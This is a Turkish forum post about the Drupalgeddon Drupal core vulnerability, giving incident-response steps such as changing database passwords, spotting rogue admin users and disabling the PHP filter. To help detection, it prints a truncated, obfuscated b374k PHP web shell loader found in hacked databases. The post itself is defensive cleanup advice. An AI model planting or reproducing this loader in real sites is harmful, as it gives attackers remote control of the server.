Drupalgeddon: Önemli Drupal Açığı. Hemen Güncelleyin.

Events happening in the community are now at Drupal community events on www.drupal.org.
pembeci's picture

Başlıktan anlaşılacağı üzere Drupal Core'da çok rahat sömürülen (hemen herşeye izin veren) bir güvenlik açığı bulunmuş 15 Ekim'de. Açığın yayınlanmasından sonra 7 saat içinde otomatik saldırılar başlamış. Benim bir Drupal sitemde tam 3 farklı kişi siteye sızmayı başarmış. Bunlardan biri hacked mesajı bırakmış (neyseki ön sayfaya yükseltememiş), iki tanesi ise daha beteri php web shell denen birşey yüklemiş yazı gönderir gibi.

Duyuruda özetle der ki ve kuvvetle tavsiye eder ki en temizi 15 Ekim'den önceki bir yedeklemeyi aktive edin çünkü hack edildiyseniz neler döndüğünü bulmak veya iptal etmek zor olabilir sürümünüzü en son olana (7.32) yükselttiyseniz bile. Yüzbinlerce Drupal sitesine sızıldığı tahmin ediliyor ama sizinki düşük trafikli bir siteyse ve devamlı otomatik saldırı almıyorsa (drupal olduğu tespit edilmemişse) belki de yırtmışsınızdır.

Hack edilmediğinizi düşünüyorsanız veya 15 Ekim öncesine dönmek bir seçenek değilse şurada zarar ziyan tespiti için bir akış diyagramı var. drush üzerinden bu tip şeyleri otomatik kontrol eden bir eklenti de hemen yazılmış. Benim kendi hacker'larımla uğraşmamdan yola çıkan nacizane tavsiyelerim de şunlar:

  • Drupal database şifrenizi hemen değiştirin. apache vb. kullanıcıya açık olduğu için ilgili settings.php dosyası, şifrenizi ele geçirmiş olma ihtimali yüksek.

  • Kullanıcılarınıza göz atın. Ne kadar süredir üye olduklarına göre tersten sıralatın. 40 yıldır üye olan (yani timestamp 0 girilmiş) birileri varsa hemen disable edin (silmeyin). Bu kullanıcıların gönderdiği içerikleri, ziyaret ettikleri sayfaları bulun, yayından kaldırın. Silmeyin ki sonradan neler denemişler inceleyebilin.

  • Bu tip sızmış kullanıcıları administrator rolüne sahip olan kullanıcıları listeleyerek de tespit edebilirsiniz. Kendilerine bu rolü atayıp "PHP filtre" eklentisi kullanma hakkını ediniyorlar. Bu rolü hatta kullanmıyorsanız (sadece uid=1 olan, ilk kuruluşta oluşturulan admin'i kullanıyorsanız) silin gitsin. Yok kullanıyorsanız da başka bir isim verin, gereksiz yetkilerini de kırpın (bilhassa şu PHP filtre yetkisini).

  • Defolu içerik tespit etmek için bir diğer yol da yani PHP filter kullananan içerikleri bulmak.

  • Veritabanınızı dump edin. dump dosyasında php web shell'i ele veren 'ev'.'al', 'un'.'com'.'pre' gibi string'leri aratın. İmzası şu şekilde:

<?php
$GLOBALS
['pass'] = "fbd...."; // sha1(md5(pass)) bu şifreyi kendinizinkiyle değiştirerek neler yapabilmiş görebilirsiniz
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?&gt;".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrsvQl74zayKPpXGB2/yBrZ1r6120607/uu7lx/FElJlLiJpN...
?>

Herhangi bir içerikle ilgili tabloda veya ekrana veri basan (views, block, panel, field) herhangi bir eklenti tablosunda böyle başlayan bir koda rastlarsanız bulup Drupal arayüzüyle temizlemeniz gerekecek.